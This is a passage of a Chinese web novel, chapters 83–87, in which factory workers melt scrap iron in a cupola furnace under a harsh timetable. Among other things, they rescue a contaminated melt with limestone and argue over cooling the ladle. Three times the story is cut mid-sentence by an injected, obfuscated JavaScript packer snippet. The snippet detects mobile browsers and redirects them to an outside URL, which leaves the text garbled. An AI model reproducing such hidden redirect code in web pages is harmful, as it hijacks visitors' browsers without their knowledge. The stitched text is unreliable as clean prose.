钱德禄和丁建中连同那台C6140车床,顷刻间被浓重的黑暗所吞噬。 光明与黑暗,在这一刻完成了交接。 与此同时,车间的另一端,两声沉闷的嗡鸣,几乎在同一时间响起! 冲天炉的鼓风机开始发出低沉的咆哮,预示着风与火的序曲。 而赵立本那台小型电阻炉的炉门缝隙里,也开始透出幽幽的红光,仿佛一只恶魔缓缓睁开了它的眼睛。 新的光芒,在新的战场上升起。 孙大海像一头脱缰的野牛,狂吼一声,抓起铁锹就冲向了焦炭堆。 赵立本也快步走到了他的电炉前,目光紧紧地锁定在那块自制的电流表上,那根纤细的指针,已经开始缓缓偏转。 没有人回头去看一眼黑暗中那两个刚刚撤下火线的战友。 在这场残酷的接力赛中,回头,是最奢侈的浪费。 黑暗里,丁建中搀扶着几乎虚脱的钱德禄,一步步挪向墙边。 这位沉默了一辈子的老钳工,靠着冰冷的墙壁缓缓坐下,身体像一滩烂泥。 他大口大口地喘着粗气,胸膛剧烈起伏,汗水浸透的背心下,能清晰地看到一根根肋骨的形状。 江建国端着一杯早就晾好的温盐水走过来,递到他嘴边。 钱德禄颤抖着手接过,一饮而尽。 他抬起头,望向远处那两个被炉火映红的身影,沙哑地问了一句。 “下一棒……什么时候轮到我?” 江建国看了看墙上的时间表,平静地回答:“晚上八点,热处理结束之后,机加工和钳工组,有六个小时。” 钱德禄点了点头,闭上了眼睛。 他必须在这十一个小时之内,将自己这台几乎报废的血肉机器,重新修复到足以再次冲锋的状态。 因为,他是这链条上的一环。 在这里,每个人都是囚徒,每个人,也都是战士。 第83章 洪炉的呼吸 光与暗的权杖,在九点整的钟声里完成了一次冷酷无情的交接。 那道照耀着C6140车床的炽白光柱,**建国一记果决的电闸,毫不留情地斩断。 钱德禄与他的战场,连同那份刚刚抵达极限的荣耀,一并被卷入了深沉的黑暗。 取而代之的,是车间另一端骤然亮起的两团光源。 一团,是冲天炉那刚刚被引燃的烘炉口,喷吐着焦躁的、仿佛要将空气都点燃的橘红色火舌;另一团,则是电阻炉炉膛内,那抹正在由暗红向赤红过渡的、带着科学般冷静的幽光。 车间的声场,也随之发生了剧烈的变化。 那连续响彻了两个小时的、令人神经紧绷的“噌噌”刮削声戛然而止,仿佛一根被拉到极致的琴弦终于断裂。 随即,一种更加雄浑、更加原始的声响,如同苏醒的远古巨兽的呼吸,开始主宰这片空间。 那是鼓风机沉闷的咆哮,是烈焰舔舐炉壁的贪婪嘶鸣,是焦炭在高温中爆裂的噼啪脆响。 孙大海赤着油光锃亮的上身,站在那座被他野蛮改造过的冲天炉前,整个人仿佛一尊沐浴着地狱之火的魔神。 他没有立刻开始加料,而是侧耳倾听着。 那双在无数次开炉中被火光灼烤得有些浑浊的眼睛,此刻却闪烁着野兽般的精光。 他在听,听那座洪炉的呼吸。 风量是否均匀,火焰是否通透,炉壁的每一寸耐火砖,是否都发出了被均匀加热后那种心满意足的“嗡嗡”共鸣。 这是图纸上永远不会标注的数据,却是他赖以为生的、用无数烫伤疤痕换来的直觉。 “风门,再开大三成!” 他头也不回地冲着一个年轻帮工怒吼道,声若洪钟,“没吃饭吗!让它给老子吼起来!” 那年轻帮工被吼得一哆嗦,连忙用尽全身力气,扳动了那根锈迹斑斑的鼓风机阀门。 呜! 风声骤然变得尖利,灌入炉膛的空气流速瞬间暴增。 那团橘红色的火舌猛地向上一窜,颜色由橘转白,发出震耳欲聋的咆哮。 整个炉体都开始轻微地颤抖,仿佛一头被激怒的巨兽,正在积蓄着足以熔化万物的怒火。 这是一种极度危险的操作。 过快的升温,极有可能导致炉壁耐火材料因热应力不均而开裂,甚至引发**。 然而,孙大海的脸上,却看不到一丝一毫的紧张。 他只是死死地盯着观察孔里那片白得刺眼的光芒,鼻翼翕动,像是在嗅探着某种只有他才能感知的、来自火焰深处的气息。 时间表上,只给了他一个小时的烘炉时间。 按照常规操作,这仅仅够将炉膛温度将将提升到安全熔炼线。 可路承舟的图纸上,对铁水的初始温度有着近乎变态的要求。 他必须在这一小时内,将炉内温度推到一个远超常规的峰值。 他是在用自己的经验和胆魄,与时间和物理定律进行一场疯狂的豪赌。 与这片狂暴的战场遥相呼应的,是另一片极致的宁静。 赵立本坐在他的电炉前,姿态像个入定的老僧。 他的全部心神,都凝聚在那块被临时固定在木板上的微安电流表上。 那根纤细的黑色指针,就是他刚刚获得的“新眼睛”,是他用来洞察一千摄氏度高温世界的唯一探针。 他的动作轻柔而精准。 他打开炉门一道微小的缝隙,用一根长长的铁钳,将一小块铅锭,小心翼翼地送入炉膛深处。 随即,他迅速关上炉门,目光重新锁定在那根指针上。 指针,正在以一种肉眼可见却又无比平稳的速度,向右偏转。 他的呼吸,几乎停止了。 当那块铅锭在炉膛内由固态转为液态的瞬间,其比热容会发生一个微小的突变,从而导致炉内的热量吸收速率产生一次极其细微的波动。 这个波动,会立刻通过那根简陋的热电偶,转化为电流信号的瞬间迟滞。 那根平稳移动的指针,会停顿。 哪怕只有零点几秒。 赵立本要捕捉的,就是那稍纵即逝的停顿。 他手中的铅笔,悬停在黑板上那条手绘的曲线上方,笔尖因过度用力而微微颤抖。 他的额头,渗出了细密的汗珠。 这比他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341865|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去几十年里任何一次“观火”都要紧张。 因为他对抗的,不再是模糊的经验,而是冰冷的、不容置喙的物理法则。 “六百二十度……” 就在指针发生一次肉眼几乎无法察觉的凝滞时,他喉咙里发出一声梦呓般的低语,手中的铅笔闪电般落下,在曲线上,重重地标下了一个点。 他成功了。 他用最原始的材料和最基本的物理原理,为自己这双“新眼睛”,校准了第一个至关重要的刻度。 他长长地吐出一口浊气,整个人像是打赢了一场艰苦卓绝的战役。 他没有片刻停歇,立刻又夹起一块锡锭,准备进行下一次标定。 车间的阴影里,路承舟静静地看着这一切。 他看着孙大海那近乎于行为艺术的、与烈焰的野蛮共舞;也看着赵立本那如同在钢丝上进行微雕的、与数据的精密博弈。 一个代表着工业时代最原始、最磅礴的力量。 一个则预示着信息时代最精准、最深刻的控制。 这两种截然不同,甚至有些矛盾的风格,此刻却在这间破败的车间里,被一张冷酷的时间表,强行糅合在了一起,共同指向一个目标。 他的心脏,不受控制地剧烈跳动起来。 他忽然意识到,自己正在见证的,或许不仅仅是一台发动机的诞生。 更是一种全新的、在废墟之上野蛮生长出来的、独属于这个时代的工业精神的雏形! “吼!” 就在此时,孙大海那边爆发出一声惊天动地的巨响! 他猛地拉开了加料口那扇厚重的铁门,一股夹杂着火星与焦炭碎屑的白色热浪,如同海啸般狂涌而出,瞬间将他整个人吞噬。 成了! 他用最极限的时间,完成了烘炉! “加料!” 孙大海的声音已经完全嘶哑,却充满了无与伦比的亢奋。 他像一头不知疲倦的公牛,抡起铁铲,将早已配比好的生铁、焦炭,狠狠地、一铲接一铲地抛入那片白热化的地狱之中。 炉火的交接已经完成。 现在,是钢铁心跳开始的时刻。 第84章 铁水奔流 冲天炉,这台工业时代最粗犷蛮横的巨兽,在孙大海的咆哮声中,彻底苏醒了。 那扇厚重的加料门被猛地拽开,一股肉眼可见的白色热浪,裹挟着灼热的粉尘与火星,如同一头挣脱囚笼的凶兽,狂暴地扑面而出。 站在炉口前的孙大海,浑身的汗**仿佛都在瞬间被燎焦,古铜色的皮肤被映照得通红,但他却连眼睛都未曾眨一下。 这灼热的吐息,对他而言,是世界上最亲切的问候。 “给老子吃!” 他发出一声酣畅淋漓的怒吼,双臂肌肉虬结贲张,手中的铁锹仿佛轻若无物。 他一铲铲起早已配比好的生铁块与焦炭,以一个刁钻而精准的角度,狠狠地抛入那片白热化的地狱。 铁块撞击在炉壁上,发出沉闷的“哐当”声,随即被翻涌的烈焰所吞没。 这不仅仅是体力活,更是一门手艺。 每一铲料的投放时机、位置、份量,都直接影响着炉内物料的分布与燃烧效率。 料下得太快,会压住火头,导致炉温骤降;下得太慢,则会造成空烧,浪费宝贵的焦炭与时间。 孙大海的动作看似狂野,实则每一铲都蕴含着他几十年炉火生涯中积累下来的全部智慧,精准得如同教科书。 整个车间,都回荡着他那充满原始力量感的劳动号子,以及铁与火碰撞交织出的雄浑交响。 那些刚刚从刮研战场上退下来的工匠们,此刻都远远地站在阴影里,神色复杂地注视着这片全新的战场。 他们是精度的信徒,习惯了与微米和游标卡尺打交道。 而眼前这番景象,这种熔金化铁的磅礴伟力,已经超出了他们熟悉的技艺范畴,带给他们一种近乎于敬畏的震撼。 路承舟的目光,则在孙大海和另一端的赵立本之间来回切换。 如果说孙大海是在驾驭一头狂暴的火龙,那么赵立本就是在与一只看不见的精怪进行着一场耐心的博弈。 在成功标定出铅的熔点后,赵立本没有丝毫停歇,立刻开始了对锡熔点的捕捉。 他的动作依旧不疾不徐,每一个步骤都充满了仪式感。 他的世界里没有咆哮的烈焰和飞溅的铁水,只有那根在刻度盘上缓慢移动的指针,以及黑板上那条正在被一个又一个数据点逐渐完善的曲线。 那是属于他的战争,一场在沉默中进行的、与物理常数之间的精密战争。 “江总,” 路承舟走到江建国身边,压低了声音,“孙师傅用的是‘过热熔炼法’,他把烘炉温度提得太高了。这么搞,虽然熔化速度快,但对炉衬的损伤极大,而且极难控制铁水的化学成分。太冒险了。” 他的语气里,带着一丝技术人员特有的、对于失控风险的忧虑。 江建国却只是平静地看着远处那个被火光映红的壮硕身影,淡淡地说道:“你看他的眼睛。” 路承舟一怔,顺着江建国的目光望去。 他看到孙大海的眼睛,那双布满了红血丝的眼睛里,没有丝毫的疯狂与鲁莽。 那是一种绝对的专注,一种人与炉合而为一的、全然的掌控。 他能从火焰最细微的颜色变化中,读出炉膛内的温度;他能从炉壁最轻微的震动声里,判断出铁水翻滚的状态。 这座冲天炉,早已不是一台冰冷的机器,而是他身体延伸出去的一部分。 “我们没有时间按部就班。” 江建国的声音沉稳如铁,“这张时间表,逼着每个人都必须拿出自己压箱底的本事,用最极限的方式去冲锋。我们现在能做的,就是相信他们。” 路承舟沉默了。 他明白了江建国的潜台词:这个计划,从制定的那一刻起,就不再是单纯的技术问题,而是一场对人、对意志力的终极考验。 时间,在烈焰的咆哮声中一分一秒地流逝。 当炉内的铁料终于开始熔化,第一股金红色的铁水,顺着炉壁缓缓流淌,汇入炉底的熔池时,孙大海那张紧绷的脸,终于有了一丝松动。 成了! 第一步,闯过来了! 然而,就在他准备下令进行二次加料时,他那野兽般敏锐的直觉,却猛地捕捉到了一丝不对劲! 他死死地凑到观察孔前,任凭那足以烫伤皮肤的热浪扑在脸上。 透过那片晃动的、白得刺眼的光芒,他看到炉渣的颜色,不对! 正常的炉渣,应该呈现出一种清亮的淡黄色,流动性极好。 可眼前的炉渣,却带着一种浑浊的暗绿色,并且显得异常粘稠,像一锅熬坏了的糖浆,死死地扒在熔融的铁水表面。 “妈的!” 孙大海的瞳孔骤然收缩,一句粗口脱口而出! 这股寒意,比身后的黑暗更冷,瞬间传遍了他的四肢百骸。 他立刻就明白了问题所在原料! 他们从废品站里淘来的那些废旧生铁,成分太杂了,里面肯定混入了过量的硫和磷! 这两种元素,是铸造的天敌,它们会让铸件变得又脆又硬,产生无数细微的裂纹,别说承受发动机工作时的高温高压,恐怕稍一用力就会碎成一地渣子! “怎么了,老孙?” 丁建中察觉到了他的异样,急忙问道。 孙大海没有回答,他的大脑在这一瞬间,进入了超高速的运转。 停炉? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341866|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能! 时间表上,留给他的熔炼时间只有一个半小时。 一旦停炉,重新升温,整个链条将彻底崩溃! 继续熔炼? 那等于明知山有虎,偏向虎山行! 最后浇筑出来的,只会是一堆毫无价值的废铁! 他孙大海一辈子的名声,将彻底毁于一旦! 怎么办? 怎么办! 一瞬间,汗水如同瀑布般从他的额头滚落。 那不是被炉火烤出来的,而是被这突如其来的绝境,硬生生从骨子里逼出来的冷汗! 车间里所有人都感受到了这股凝固的气氛。 鼓风机的咆哮依旧,但所有人的心,都随着孙大海那张瞬间变得煞白的脸,沉了下去。 就在这片死寂之中,孙大海的眼中,猛然爆发出一种困兽犹斗般的凶光! 他猛地转过身,冲着阴影里的一个角落,用尽全身力气嘶吼道:“石灰石!把我们找来的所有石灰石,全都给老子砸碎了,快!” 他的声音,已经完全变调,嘶哑得如同被砂纸打磨过一般,带着一种不容置疑的、破釜沉舟的决绝! 众人皆是一愣,不明白他要做什么。 路承舟的脑子里却“轰”的一声,像是一道闪电划过! 造渣! 他要通过临时加入大量的石灰石作为造渣剂,强行改变炉渣的碱度! 利用高温下石灰石分解出的氧化钙,去与铁水中的硫、磷等有害杂质发生化学反应,将它们以硫化物和磷酸盐的形式,固定到炉渣里! 这是一种理论上可行,但对操作要求高到变态的补救手段! 因为石灰石的加入,会剧烈吸收炉内的热量,导致炉温瞬间骤降。 一旦时机和用量没有拿捏到极致,很可能导致铁水凝固,造成整炉报废的恶性事故! 这已经不是**了。 这是在悬崖的边缘,用自己的全部身家,去赌那万分之一的生机! “快!” 孙大海双目赤红,状若疯魔。 工人们被他这副模样吓得一个激灵,再也不敢犹豫,疯了一样冲向角落,抡起大锤,对着那几块脸盆大小的灰白色石头,一通猛砸。 “哐!哐!哐!” 刺耳的砸石声,与炉火的咆哮声混杂在一起,奏响了一曲令人心脏狂跳的、亡命之章! 孙大海死死地盯着观察孔,他的胸膛剧烈地起伏着,像一头准备发起最后冲锋的受伤雄狮。 他知道,留给他的时间,只有一次出手的机会。 成,则一线生机。 败,则万劫不复。 第85章 淬火的赌注 “哐!哐!哐!” 沉重的大锤,裹挟着工人们最原始的蛮力,一次又一次地砸在灰白色的石灰岩上。 那声音不再是生产的节奏,而是一阵阵绝望的、不顾一切的擂鼓,每一记都狠狠地敲在众人悬到嗓子眼的心脏上。 石屑四溅,崩裂的脆响与冲天炉那濒临失控的咆哮交织在一起,谱写出一曲充满了钢铁与火焰气息的、亡命之歌。 整个车间,都被这股破釜沉舟的疯狂气氛所笼罩。 路承舟的拳头,在身侧死死攥紧,指节因过度用力而发白。 他的大脑,此刻正以前所未有的速度疯狂运转。 造渣脱硫,这个名词他只在金属材料学的教科书上见过。 那是一套建立在精确计算与严格控制之上的复杂工艺,需要对炉料成分、造渣剂配比、炉内温度曲线、反应时间…… 对这一切进行毫厘不差的量化控制。 可现在,孙大海要做的,却是将这门精密的实验室科学,变成一场在悬崖边上全凭直觉与胆魄进行的豪赌! 用多少石灰石? 不知道! 全凭那几块石头的大小估算。 什么时候加? 不知道! 全凭孙大海那双被炉火熏烤了几十年的肉眼判断。 加入后炉温会下降多少? 后果是什么? 一切都是未知数! 路承舟感到一阵深深的无力。 他脑海中所有关于公式、数据和模型的知识,在眼前这片原始而狂暴的场景面前,都显得那么苍白。 他就像一个习惯了在精密地图上指挥作战的参谋,却被突然扔进了一片伸手不见五指的丛林,只能眼睁睁地看着一个经验丰富的老猎人,用最野蛮的方式与一头嗜血的猛兽进行生死肉搏。 他想开口阻止,想告诉孙大海其中的风险,想让他至少进行一次粗略的计算。 可当他看到孙大海的侧脸时,所有的话,都被堵在了喉咙里。 那张平日里总是带着几分粗豪憨厚的脸上,此刻竟显现出一种近乎神圣的专注。 汗水混合着黑色的炉灰,在他深刻的皱纹里冲刷出一条条沟壑。 他的双眼死死锁定着观察孔里那片翻涌的、带着不祥之色的暗绿色光焰,整个人仿佛与那座咆哮的洪炉融为了一体。 他不是在对抗那炉铁水,他是在与它对话,用一种超越了语言和科学的古老直觉。 江建国不知何时走到了路承舟身边,他没有说话,只是将一只沉稳有力的手,轻轻按在了路承舟那因紧张而微微颤抖的肩膀上。 那手掌的温度,带着一种不容置疑的力量。 路承舟紧绷的身体,微不可察地松弛了一分。 他明白了江建国的意思。 相信他。 “够了!” 就在此时,孙大海猛然发出一声雷霆般的断喝! 工人们的铁锤悬在了半空,所有人的动作都在这一瞬间定格。 “上料!” 孙大海的声音嘶哑得如同两块生铁在摩擦,每一个字都迸发着不容置疑的决绝。 两名早已等候在旁的年轻工人,用尽全身力气,将一铲车刚刚砸碎的、拳头大小的石灰石块,推到了加料口前。 灼热的气浪,让他们几乎无法呼吸。 孙大海没有催促,他的目光依旧死死地胶着在观察孔上,胸膛剧烈地起伏着,像是在等待一个万年一遇的潮汐。 他在等,等炉内那股浑浊的渣液翻滚到最高点,将所有杂质都卷上表面的那一瞬间! 就是现在! “扔!” 他猛地一挥手,仿佛一位下达了总攻命令的将军。 哗啦! 满满一车的石灰石,被两个工人用铁铲奋力掀起,化作一道灰白的洪流,义无反顾地冲进了那片白热化的地狱。 就在石块入炉的瞬间,一声沉闷至极的巨响,从炉膛深处传来,仿佛巨兽发出了一声痛苦的哽咽。 呜…… 冲天炉那高亢的咆哮,骤然低沉下去,变成了垂死般的呻吟。 观察孔里的光芒,也由刺眼的白热,迅速黯淡成了令人心悸的暗红色。 温度,在以一个恐怖的速度,断崖式下跌! 整个车间,陷入了一片死寂。 所有人的呼吸,仿佛都被那急剧收缩的炉火,一同抽干了。 时间在这一刻被无限拉长,每一秒都像一个世纪般难熬。 失败了吗? 这个念头,像一条冰冷的毒蛇,缠上了每个人的心脏。 孙大海的身体,像一尊石雕般僵在原地。 他整个人几乎都贴在了滚烫的炉壁上,透过观察孔,死死地盯着炉膛内的变化。 他的额头,青筋一根根暴起,狰狞得如同盘虬的树根。 路承舟的心,沉到了谷底。 他知道,一旦炉温下降到铁水的凝固点以下,一切就都完了。 那不仅仅是一炉废铁,更意味着炉膛将被彻底堵死,这台他们好不容易拼凑起来的冲天炉,将变成一坨无法修复的钢铁疙瘩。 整个项目的链条,将从这里,被拦腰斩断! 就在这片令人窒息的绝望中,孙大海的喉咙里,突然发出了一阵古怪的、像是哭又像是笑的“嗬嗬”声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341867|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他猛地直起身,转过头来。 那张被熏得漆黑的脸上,一双布满血丝的眼睛,此刻却亮得吓人,迸发出一种劫后余生般的狂喜! “活了!” 他用尽全身力气,嘶吼出这两个字,“它活过来了!” 众人还没反应过来,他已经像一头发疯的公牛,转身冲向鼓风机,亲自扳动了那巨大的风门阀。 “给老子吼!吼起来!” 呜! 被压抑到极致的狂风,如同挣脱了枷锁的猛龙,再次疯狂地灌入炉膛。 同时,两名工人也得到了指令,飞快地将一铲铲焦炭,奋力投入加料口。 得到了新鲜的空气与燃料,那颗垂死的心脏,开始重新剧烈地搏动。 炉膛内那片暗红色的光芒,以肉眼可见的速度,重新变得明亮。 先是赤红,再是橘黄,最后,在一声压抑许久的、仿佛要将整个车间都掀翻的怒吼声中,再次喷薄出那股熟悉的、令人敬畏的白热之光! 路承舟一个箭步冲到观察孔前,几乎不敢相信自己的眼睛。 炉膛内,那层原本浑浊粘稠的暗绿色炉渣,此刻已经彻底变了模样。 它变得清亮而稀薄,呈现出一种健康的、如同融化玻璃般的淡黄色,轻盈地覆盖在铁水表面。 而在那层炉渣之下,奔腾翻涌的,是前所未见、纯净得如同太阳核心般的金白色铁流! 成功了! 在这场与死神的豪赌中,孙大海用他那近乎于巫术的直觉,赢得了最终的胜利! “开炉口!” 孙大海的声音里,带着一种难以抑制的颤抖和亢奋。 一名工人立刻上前,用一根长长的钢钎,奋力捅开了炉底那被耐火泥堵住的出铁口。 嗤! 一道璀璨夺目的金龙,裹挟着漫天飞溅的火星,以一种摧枯拉朽的气势,从炉口狂涌而出! 那奔腾的铁水,带着一千五百度的高温,顺着泥槽一路奔腾,发出震耳欲聋的咆哮,最终狠狠地砸进了早已准备好的铁水包中。 那光芒,瞬间照亮了车间里每一张惊魂未定、却又写满了狂喜与震撼的脸。 铁水奔流,如同一条新生的、滚烫的血脉,为这个濒临绝境的项目,重新注入了活下去的希望。 孙大海看着那包中翻滚的、金光四射的铁水,腿一软,一屁股坐倒在地。 他浑身都被汗水浸透,仿佛刚从水里捞出来一样,大口大口地喘着粗气。 他赢了。 但墙上的时钟,那根冷酷无情的秒针,却依旧在毫不留情地向前跳动。 这场接力赛,最惊险的一棒,刚刚完成交接。 第86章 模具的考验 金色的铁流仍在奔涌,那璀璨夺目的光芒仿佛将整个车间的阴影都驱逐一空,空气中弥漫着一股滚烫而炙热的、独属于金属熔融的甜腥气息。 然而,这片由胜利点燃的光明,却并未持续太久。 当最后一滴铁水从出铁口滴落,汇入那巨大的铁水包中,喧嚣与咆哮便如退潮般迅速远去。 先前那份亡命豪赌般的狂热,被一种更加沉重、更加紧迫的寂静所取代。 所有人的目光,都聚焦在那一包翻滚着、沸腾着、仿佛囚禁了一颗小型太阳的铁水之上。 它很美,美得令人心悸,却也像一柄悬在所有人头顶的达摩克利斯之剑。 因为,它正在冷却。 从它离开炉膛的那一刻起,一场与熵增定律的赛跑,便已然开始。 孙大海瘫坐在地上,胸膛如同一个破旧的风箱般剧烈起伏。 他赢了,却也耗尽了最后一丝力气。 他只是抬起眼皮,用那双布满血丝的眼睛,死死地盯着那包铁水,嘴唇翕动,却发不出任何声音。 “温度!” 一个清冷而急促的声音,像一把手术刀,精准地划破了这片凝固的气氛。 路承舟已经冲到了铁水包旁。 他无法靠得太近,那股恐怖的热浪足以将人的眉毛燎焦,但他那双燃烧着火焰的眼睛,却仿佛能穿透那刺眼的光芒,直视铁水的核心。 “太高了!” 他几乎是吼出来的,“比我设计的浇注温度,至少高出了一百度!” 这句话,像一盆冰水,浇在了刚刚燃起希望的众人头顶。 一百度! 对于普通人而言,一千四百度和一千五百度或许只是一个数字上的差别。 但对于铸造而言,这却是天堂与地狱的距离。 过高的浇注温度,会导致铸件产生严重的热裂、粘砂、气孔等一系列致命缺陷,其后果,丝毫不亚于之前那场原料危机。 孙大海为了强行造渣脱硫,在最后关头疯狂鼓风加炭,硬生生将炉温推到了一个失控的极限。 他用一剂猛药救了这炉铁水的“心”,却也让它的“体温”陷入了致命的高烧。 “等。” 江建国不知何时已经走了过来,他的声音一如既往的沉稳,仿佛任何危机都无法撼动他分毫,“等它自然冷却。” “等?” 路承舟猛地回头,脸色苍白,“江总,我们等不起!根据我的计算,铁水的理想浇注窗口期,只有不到十分钟!多等一分钟,温度是下来了,但它的流动性也会急剧下降!到时候,那些复杂的流道和薄壁结构,根本就浇不足!” 他指向车间中央那早已准备就绪的、巨大的砂箱,语气里充满了工程师特有的、对失控的焦虑。 那里,静静地躺着他们耗费了无数心血才制作完成的、发动机缸体的整体砂型。 那不仅仅是一个模具,更像是一座用砂砾构建的、结构异常复杂的地下迷宫。 铁水必须像温顺的河流,精准地流过其中的每一条水道,填满每一个腔体,才能最终孕育出合格的铸件。 太热,铸件会毁于内伤。 太冷,铁水则会半路凝固,形成致命的“浇不足”缺陷,整座“迷宫”都将功亏一篑。 时间,再一次露出了它狰狞的獠牙。 这一次,它不再是追赶者,而是化作了一道无形的、正在飞速缩小的牢笼。 他们必须在那牢笼彻底闭合之前,找到那个唯一的、稍纵即逝的逃生之门。 “赵师傅!” 江建国没有理会路承舟的焦灼,而是猛地转向另一端,“你的眼睛,现在借给孙师傅用一下!” 正在全神贯注标定自己那条曲线的赵立本猛地一愣,随即瞬间明白了江建国的意思。 他那台简陋的电阻炉,此刻已经成了一个全车间最精准的“温度计”。 赵立本没有任何犹豫,立刻抓起他那本写满了数据的笔记,快步跑了过来。 他不敢靠近铁水包,只是远远地站着,目光在那包亮得晃眼的铁水和自己那台电炉的炉口光芒之间,飞快地来回比对着。 那是两种截然不同的光。 一种狂野而磅礴,一种内敛而精准。 赵立本的额头,瞬间渗出了细密的汗珠。 用肉眼去比对两种光源的色谱,从而估算出上千度的高温,这已经不是技术,而是艺术,甚至近乎于玄学! “颜色……太白了,白中带青……” 赵立本的声音干涩而紧张,“比我炉子里一千三百度的锡钢,还要亮得多……一千五百二十度?不,可能是一千五百三十度……” 他的每一次报价,都像是在进行一场无比艰难的心理斗争。 路承舟则迅速在脑海中建立起一个冷却模型,他一边听着赵立本的报数,一边在心里飞快地计算着。 铁水包的比热容、散热面积、当前的环境温度、空气流动速度…… 无数个变量在他的大脑中疯狂交织、碰撞。 “不行!” 他猛地抬起头,眼中满是血丝,“自然冷却太慢了 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这不仅有引发蒸汽**的巨大风险,更会因为不均匀的急速冷却,在铁水包的内壁产生恐怖的热应力! 一旦铁水包的材质承受不住这种应力而产生裂纹…… 后果不堪设想! 那将不是一次失败,而是一场灾难! 整包铁水将会瞬间泄露,将车间的地面,变成一片火海! “老孙!你冷静点!” 路承舟的声音都变了调,“这太危险了!” “危险?” 孙大海咧开嘴,笑了。 那笑容,比哭还难看。 他指着那包正在一点点变得暗淡的铁水,嘶吼道:“让它变成一坨废铁,就不危险了吗?” 他挣扎着站了起来,高大的身躯因为脱力而微微摇晃,却像一座无法被撼动的山。 “**了一辈子炉前工,它就像我的崽子!它的脾气,我懂!” 他转过头,用那双赤红的眼睛,死死地盯着江建国,一字一句地说道:“江总,信我一次。给我麻袋,我给你一个合格的铸件!” 整个车间的命运,再次被压在了一场疯狂的赌注之上。 江建国凝视着孙大海,足足三秒。 然后,他缓缓地点了点头,声音平静,却带着一种将身家性命全部押上的决绝。 “按他说的办。” 第87章 蒸腾的赌局 江建国那三个字,如同一枚烧红的烙铁,深深地印在了车间里死寂的空气中。 “按他说的办。” 没有一丝犹豫,没有半点迟疑。 这声音平静得可怕,却蕴含着一种将所有人的命运都捆绑上战车的、不容置喙的决断力。 路承舟的心脏猛地一缩。 他眼睁睁地看着理性与逻辑的堤坝,在江建国这句简短的命令下,轰然崩塌。 接下来将要发生的,是一场彻头彻尾的、违背了所有操作规程的疯狂**。 赌注,是这炉来之不易的铁水,是这台拼凑起来的设备,甚至是现场每一个人的安危。 然而,命令就是命令。 最先反应过来的是丁建中,这位老钳工几乎是条件反射般地从地上一跃而起,通红着双眼,冲着几个早已吓傻的年轻工人怒吼:“都愣着干什么!找麻袋!水!快!” 吼声如同一道惊雷,劈醒了众人。 混乱,在瞬间被一种更加高效的、源于求生本能的秩序所取代。 有人疯了似的冲向角落里堆放杂物的木箱,徒手撕开缠绕的铁丝,从里面拼命地往外拖拽着那些积满灰尘、散发着霉味的破旧麻袋。 另一些人则提着所有能找到的铁桶,冲向车间尽头那唯一一个锈迹斑斑的水龙头,将其拧到最大,任凭冰冷的自来水哗哗作响,溅湿了他们的裤腿和鞋面。 整个车间,都回荡着一种濒临绝境时特有的、嘈杂而又协调的亡命之声。 孙大海挣扎着站直了身体,他像一头刚刚经历过血战的雄狮,虽然步履踉跄,但眼神中那股不容侵犯的王者之气,却在熊熊燃烧。 他没有去管那些手忙脚乱的工人,而是用一种近乎苛刻的目光,扫视着那几个抬着铁水包的壮汉。 “都给老子站稳了!” 他的声音嘶哑,却充满了穿透力,“脚下生根,天塌下来也别给老子晃一下!” 那几个壮汉的脸早已被热浪烤得通红,豆大的汗珠顺着脸颊滚落,在下巴上汇聚,又被瞬间蒸发。 他们死死地咬着牙,手臂上的青筋如同盘错的蚯蚓,用尽全身的力气,维持着那包“太阳”的绝对稳定。 很快,七八条浸透了水的麻袋被送了过来。 它们沉甸甸的,还在往下滴着水,所过之处,在干燥的水泥地上留下了一道道深色的水痕。 一股冰冷的、带着泥土腥气的水汽,与铁水那灼热的气息,在半空中猛烈地碰撞、交锋,形成了一片无人敢于靠近的、泾渭分明的气场。 “老孙……” 丁建中端着两条最湿的麻袋,手都在抖,“真要这么干?” 孙大海没有回答,他只是伸出那只布满了老茧和烫伤疤痕的大手,从丁建中手里接过了麻袋。 那麻袋极重,可在他手中,却仿佛没有重量。 他转过身,独自一人,走向那包正在发出致命光和热的铁水。 所有人的呼吸,都在这一刻屏住了。 路承舟的大脑,一片空白。 他所有的计算、所有的公式、所有的风险预案,在眼前这近乎于原始祭祀般的场景面前,都失去了意义。 他只能眼睁睁地看着,看着那个高大的背影,一步步地,走向那片足以吞噬一切的火海。 孙大海在距离铁水包一步之遥的地方停了下来。 他没有立刻将麻袋盖上去。 他只是站在那里,闭上了眼睛。 他那宽阔的胸膛剧烈地起伏着,像是在与那包铁水进行着某种无声的交流。 他在感受它的温度,倾听它内部能量流动的声音,判断它此刻最狂暴、也最脆弱的临界点。 时间,仿佛在这一刻凝固了。 